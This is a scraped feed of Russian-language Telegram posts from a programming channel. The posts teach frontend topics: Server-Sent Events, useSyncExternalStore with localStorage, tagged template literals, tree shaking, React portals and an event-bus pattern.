http.createServer((req, res) => {
if (req.url === '/stream') {
res.writeHead(200, {
'Content-Type': 'text/event-stream',
'Cache-Control': 'no-cache',
'Connection': 'keep-alive',
});

setInterval(() => {
res.write('data: ПРИВЕТ!\n\n');
}, 1000);
}
}).listen(3000);


На клиенте это будет выглядеть примерно так:

const source = EventSource('/stream')

sourse.addEventListener('message', (message) => {
console.log(message.data)
})


С таким кодом мы будем получать на клиенте сообщение "ПРИВЕТ!" каждую секунду

При этом, конечно же, никто не мешает усложнить логику со стороны сервера, и пушить новые сообщения в стрим не каждую секунду, а только при изменении данных

И конечно же никто не запрещает обернуть стрим в какой-нибудь React хук и сделать дженеричное решение для всего проекта/проектов

Если вы ни разу не работали SSE, то очень рекомендую потыкать хотя бы в песочнице — очень крутая штука!

Если кратко:

SSE — технология однонаправленной связи от сервера к клиенту
С помощью SSE можно обновлять данные на клиенте в рамках одного соединения в реальном времени


Спасибо за прочтение, это важно для меня 🥰

@prog_way_blogчат — #theory #javascript #code #data #web

Читать полностью…

progway — программирование, IT

🔖Оно живоеReact 19 вышел в стабильной версии, о чём и сообщает команда реакта

Ну, верим

@prog_way_blog — #news

Читать полностью…

progway — программирование, IT

Набор каналов об IT

В телеге есть функция зашарить сразу целую папку с каналами, хочу поделиться с вами одной такой:

🔘Каналы о пересечении профессии, жизни, разных увлечений

🔘Фронтенд, мобильная разработка, ИИ модельки и другие сферы

🔘Новости, экспертный контент и блоги

Добавляйте папку к себе, каналов много, каждый точно найдёт что-то для себя

Добавить папку можно по ссылке

@prog_way_blogчат

Читать полностью…

progway — программирование, IT

А, кстати, почему "не всегда"

Если хотя бы у одного из клиентов прям очень медленный интернет или есть ещё какие-то проблемы, которые не позволяют открыть p2p соединение, то p2p соединения и не получится

В таких случаях соединение организуется через TURN сервер и WebRTC становится не p2p, а уже клиент-сервер-клиент способом коммуникации

TURN — Traversal Using Relay NAT — это протокол, который позволяет узлу за NAT или брандмауэром получать входящие данные через TCP или UDP соединения


Ну, вроде выговорился

Читать полностью…

progway — программирование, IT

Связываем React и localStorage через useSyncExternalStore

Как согласовать изменение состояния в реакте и поля в localStorage? До недавнего времени самым простым вариантом было создать контекст с внутренним React состоянием и обрабатывать всё взаимодействие с localStorage через него — вариант рабочий, но далеко не идеален: легко напороться на ререндеры, много кода писать нужно ну и вот это вот всё

Также можно обработать какое-то не-реактовое значение через комбинацию useState + useEffect, но это ещё менее надёжно, ведь браузерные значения могут меняться и без уведомления реакта, и, соответственно, без ререндера

Красиво в одной из статей на хабре описали:

Для работы с состоянием в React используются хуки useState и useReducer, но они не умеют работать с состоянием, которое "живет" за пределами React, поскольку в один момент времени доступна только одна версия внешнего состояния.

Значения внешнего состояния могут меняться со временем без ведома React, что может приводить к таким проблемам, как отображение двух разных значений для одних и тех же данных.

Статья: https://habr.com/ru/companies/timeweb/articles/720136/


Но не так давно в 18 версию React добавили хук useSyncExternalStore, который такую задачу решает намного изящнее

Многие скипнули его и даже не знают зачем он нужен, что, в целом, достаточно ожидаемо, ведь даже команда разработчиков позиционировала его больше как хук для разработчиков библиотек, а мы тут далеко не все пишем свои либы

Короче, что это за хук вообще? Очень просто — этот хук нужен для более глубокой интеграции внешних хранилищ в модель React. Говоря проще — хук нужен для того, чтобы триггерить рендер из внешних хранилищ, а не только через setState функции

Как раз этот хук и поможет нам интегрироваться с localStorage сильно проще и безопаснее. Тут localStorage в понятие внешнего хранилища ложится просто шикарно

На коленке код будет выглядеть примерно так:

const useLocalStorageState = (key: string, defaultValue?: string) => {
const subscribe = (listener: () => void) => {
window.addEventListener("update-local-storage", listener);
return () => void window.removeEventListener("update-local-storage", listener);
};

const getSnapshot = () => localStorage.getItem(key) ?? defaultValue;

const store = useSyncExternalStore(subscribe, getSnapshot);

const updateStore = (newValue: string) => {
localStorage.setItem(key, newValue);
window.dispatchEvent(new StorageEvent("update-local-storage", { key, newValue }));
};

return [store, updateStore] as const;
};


В чём тут идея:
1. При вызове updateStore будем помимо изменения значения в localStorage диспатчить на window ещё и StorageEvent с ключом, например, "update-local-storage"
2. В функции подписки subscribe объясним когда нужно вызывать getSnapshot для получения актуального состояния из внешнего хранилища и когда от его прослушивания нужно отписаться. Можно воспринимать как эффект

Использовать будем как обычный useState:
const [name, setName] = useLocalStorageState("name", "progway");


Теперь хук при вызове с одним и тем же ключом к localStorage (name в примере выше) будет обновлять все зависимые компоненты при регистрации события "update-local-storage" на window

Используя тот же подход, можно реализовать порой очень полезные хуки useMediaQuery, useWindowSize и другие. О первых двух можно прочитать в статье от Timeweb Cloud

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #web #javascript #theory #data #code #react

Читать полностью…

progway — программирование, IT

Теги для шаблонных строк

В JavaScript есть, как по мне, крайне странный синтаксис. Самым очевидным его применением можно считать styled-components и выглядит всё это примерно так:

const display = 'flex';

const Button = styled.button`
padding: 10px;
color: red;
display: ${display}
`


В результате выполнения этого чуда мы получим компонент на основе нативного button с предустановленными стилями из литералов

Но вы когда нибудь задумывались, что styled.button — это тоже функция? А как она вызывается? Как устроена внутри?

На самом деле, самый базовый пример такого синтаксиса можно рассмотреть так:
function foo(strings, ...values) {
let result = strings[0];

values.forEach((value, index) => {
result += value + strings[index + 1];
});

return result;
}


Всё, что делает эта функция — собирает строку из шаблона и подставленных переменных

strings — массив строк, содержащий все части текста, разделенные переменными
values — массив значений, которые вставляются внутрь шаблона

Попробуем вызвать нашу функцию:
const name = "Денис"
const channel = "progway"

foo`Меня зовут ${name} и я люблю ${channel}`


Использование обратных кавычек после именования функции вызывает эту самую функцию

Для нашего примера, strings — это:

[
"Меня зовут ",
" и я люблю ",
""
]

а values:

[
"Денис",
"progway"
]


По такому же принципу и работает styled-components, конечно же, с более сложной логикой внутри

Этот синтаксис очень специфичный, ему не так много применений, но всё таки в некоторых случаях он бывает очень удобен. Например, в призме, с помощью такого такого синтаксиса можно кинуть запрос в БДшку

В реальной жизни вам скорее всего не понадобится писать подобные функции, но вдруг..

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #web #javascript #theory #data #code

Читать полностью…

progway — программирование, IT

Tree Shaking

Сам по себе Tree Shaking — это метод оптимизации кода, который позволяет автоматически удалять неиспользуемый код при сборке приложения

Основная идея заключается в том, чтобы проанализировать все файлы приложения и используемых библиотек в процессе сборки, и убрать из них всё, что не используется


Работает всё это благодаря статической системе модулей из ES6, которая позволяет точно знать что импортирует и экспортирует каждый файл

До статической системы модулей, определить это точно было невозможно, так как импорты и экспорты могли изменяться в рантайме:


// зависящий от рантайма импорт
var my_lib;
if (Math.random()) {
my_lib = require('foo');
} else {
my_lib = require('bar');
}

// и экспорт
if (Math.random()) {
exports.baz = ···;
}

Код выше абсолютно валиден


ES6 же предложил статическую систему модулей, благодаря чему Tree Shaking и стал в целом возможен

В примере с прикреплённого видоса мы видим, как в конечный бандл из файла math.js попадает только функция multiply. Происходит это как раз потому что sum() не используется в коде нашей программы index.js

Настроить всё очень просто, например, с тем же Vite — он поддерживает Tree Shaking из коробки при сборке в прод режиме ( обычно это vite build )

Однако, стоит помнить, что не весь код и библиотеки поддерживают Tree Shaking. "Шейкаться" будет только тот код, что использует ES6 модули


Проанализировать сборку через Vite можно с помощью плагина rollup-plugin-visualizer — он покажет, какие модули включены в финальную сборку, и сколько они весят

Спасибо за прочтение, это важно для меня

@prog_way_blogчат — #web #vite #theory

Читать полностью…

progway — программирование, IT

Порталы в React

Сталкивались когда-нибудь с проблемой, когда нужно рендерить элемент за пределами текущей DOM-иерархии?

Например, модальные окна, которые не должны быть вложены в основное дерево из-за проблем с позиционированием или всплывающие подсказки, которые всегда должны быть на переднем плане


Для таких задач React предлагает решение — порталы

В документации реакта приведён такой код:
import { createPortal } from 'react-dom';

<div>
<p>Текст расположен в родительском диве</p>
{createPortal(
<p>Текст расположен в document.body </p>,
document.body
)}
</div>


Работает этот код проще простого: элемент, переданный в функцию createPortal, будет маунтиться реактом не в родительский див, а в document.body. Работать это будет с деревом любой вложенности

Такой код будет работать, но он не очень удобен, поэтому многие компонентные библиотеки максимально упрощают порталы для разработчиков и делают подобные компоненты — они есть в Chakra UI, Material UI, Semantic UI и других либах

Но, на самом деле, там нет ничего сложного


Если максимально упростить, то можно прийти к такому варианту:
const Portal = ({ children }: PropsWithChildren) => {
const [container] = useState(() => document.createElement('div'));

useLayoutEffect(() => {
document.body.appendChild(container);
return () => {
document.body.removeChild(container);
};
}, [container]);

return createPortal(children, container);
}

// ...

<Portal>
<p>Текст внутри портала</p>
</Portal>

Тут стоит уточнить две детали:

1. Мы создаём новый div внутри useState, чтобы проще было контролировать портал
Если мы будем рендерить контент сразу в document.body, то можно словить много проблем со стилями и отслеживанием самого портала

Используем мы именно useState, чтобы создавать элемент единожды и гарантировано на первый рендер компонента. Элемент создается внутри колбека инициализации состояния — он всегда вызывается единожды на маунт компонента

Как альтернатива, можно обойтись и рефом


2. В useLayoutEffect мы привязываем жизненный цикл тега-обёртки к циклу компонента портала
Тоже полезно, чтобы лишний раз не задумываться о том, как живёт портал и не создавать ненужных элементов в вёрстке

useLayoutEffect используется вместо useEffect, чтобы обрабатывать портал без лишних мерцаний и более плавно

Вообще, тема разных эффектов и где какой использовать — это отдельная крупная тема, возможно сделаю об этом пост в будущем


Да и всё. Тут компонент на 10 строчек буквально, ничего сверхъестественного. Если вам нужны порталы, то задумайтесь — скорее всего вам хватит такой простой реализации

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #web #javascript #theory #code

Читать полностью…

progway — программирование, IT

Как я использую шину событий

Шина событий — это паттерн, который используется для взаимодействия различных компонентов системы не напрямую, а через некоторый посредник — саму шину

Шина может принимать в себя публикацию событий, а далее оповещать о произошедшем всех своих подписчиков. Такая слабая связанность позволяет сделать систему более модульной и гибкой


Главным преимуществом шины событий я бы назвал ослабленную связность между компонентами системы. Благодаря этому, компоненты могут взаимодействовать через события, не зная о существовании друг друга и не дожидаясь ответной реакции

Это позволяет легко расширять или изменять систему без необходимости изменения остальной части приложения, что улучшает гибкость, масштабируемость и существенно упрощяет интеграцию нового модуля

Также с помощью шины можно существенно улучшать перфоманс приложения, более подробно об этом сказано в отличном видео синяка


Главным минусамом я бы назвал некоторую непрозрачность: порой бывает сложно отследить куда и как протекают данные, особенно в больших приложениях, но ИМХО это относительно легко решается базовой организацией кода

Лично мне уже не раз доводилось использовать шину в проде. Нравится она мне своей простотой и тем, что позволяет легко соединять несоединяемое. В связке с реактом, можно легко избавиться от лишних ререндеров или, например, от prop-drilling'a

Также мне не нравится иметь какую-то "глобальную" шину на весь проект. Мне больше нравится создавать специфичные каналы событий, потому что это разгружает саму шину и позволяет более просто отслеживать потоки данных. В моей реализации всё решение выглядит примерно так:

Я создаю отдельный файл для инициализации канала
export const {useEvent: useSpecificEvent, ...specificEventChannel} = createEventChannel<{
event: (options: Foo) => void;
}>()


И далее использую экспортируемые сущности примерно так:
// где угодно: публикация события в шину
specificEventChannel.emit('event', options)

// в react-компоненте: реакция на событие
useSpecificEvent('event', (options) => {
...
})


Конечно же, реагировать на событие в шине можно не только в компонентах: можно вообще где угодно. Для этого в specificEventChannel есть дополнительные функции on, off и once для подписки, отписки и единоразовой реакции соответственно

Вся "магия" тут заложена внутри функции createEventChannel. Сама по себе шина там достаточно типовая, что-то невероятное придумать сложно, однако код всё равно достаточно занятный, полный код можно найти в этом гисте

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат — #web #javascript #theory #code

Читать полностью…
Subscribe to a channel